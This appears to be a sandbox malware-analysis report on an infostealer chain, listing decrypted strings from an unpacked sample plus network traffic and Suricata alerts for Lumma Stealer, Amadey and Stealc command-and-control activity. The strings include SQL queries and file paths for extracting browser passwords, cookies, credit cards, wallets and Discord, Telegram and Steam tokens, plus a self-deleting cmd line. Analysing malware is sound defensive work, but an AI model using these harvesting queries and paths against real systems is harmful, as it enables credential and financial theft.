Source: 26.2.num.exe.d10000.0.unpack	String decryptor: NSS_Init
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: NSS_Shutdown
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: PK11_FreeSlot
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: PK11_Authenticate
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: C:\ProgramData\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: browser:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: profile:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: url:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: login:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: password:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Opera
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: OperaGX
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Network
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: cookies
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: .txt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: TRUE
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: FALSE
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: autofill
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: history
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: cc
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: name:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: month:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: year:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: card:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Cookies
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Login Data
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Web Data
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: History
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: logins.json
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: formSubmitURL
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: usernameField
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: encryptedUsername
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: encryptedPassword
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: guid
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: cookies.sqlite
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: formhistory.sqlite
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: places.sqlite
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: plugins
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Local Extension Settings
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Sync Extension Settings
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: IndexedDB
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Opera Stable
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Opera GX Stable
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: CURRENT
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: chrome-extension_
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Local State
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: profiles.ini
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: chrome
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: opera
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: firefox
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: wallets
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ProductName
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: x32
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: x64
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ProcessorNameString
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DisplayName
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DisplayVersion
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Network Info:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - IP: IP?
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Country: ISO?
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: System Summary:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - HWID:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - OS:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Architecture:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - UserName:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Computer Name:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Local Time:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - UTC:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Language:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Keyboards:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Laptop:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Running Path:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - CPU:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Threads:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Cores:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - RAM:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - Display Resolution:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: - GPU:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: User Agents:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Installed Apps:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: All Users:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Current User:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Process List:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: system_info.txt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: freebl3.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: mozglue.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: msvcp140.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: nss3.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: softokn3.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: vcruntime140.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Temp\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: .exe
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: runas
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: open
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: /c start
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %DESKTOP%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %APPDATA%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %USERPROFILE%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %DOCUMENTS%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: %RECENT%
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: *.lnk
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: files
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \discord\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Telegram Desktop\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: key_datas
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: map*
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Telegram
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Tox
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: *.tox
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: *.ini
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Password
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 00000001
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 00000002
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 00000003
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: 00000004
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Pidgin
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \.purple\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: accounts.xml
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: token:
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Software\Valve\Steam
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: SteamPath
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \config\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ssfn*
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: config.vdf
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DialogConfig.vdf
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: libraryfolders.vdf
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: loginusers.vdf
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Steam\
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: sqlite3.dll
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: browsers
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: done
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: soft
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: https
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: POST
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: HTTP/1.1
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: hwid
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: build
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: token
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: file_name
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: file
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: message
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 26.2.num.exe.d10000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:62916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62944 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GVDV7NGS54W9A7T64.exe, 00000004.00000003.2038530305.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmp, RIT5CLJSOG1HZLWAHXIC60.exe, 0000001F.00000003.2466004601.0000000004890000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Directory queried: number of queries: 1339

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 195MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:58621 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:52823 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:55755 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:51454 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:64257 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49745 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:56010 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:54237 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:58693 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:63329 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49746
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49749 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49754 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49755 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49758 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49764 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49770 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49788 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:60882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:56131 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:65246 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:54137 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49800 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49803 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49811 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49829 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49843 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49870 -> 188.114.97.3:443
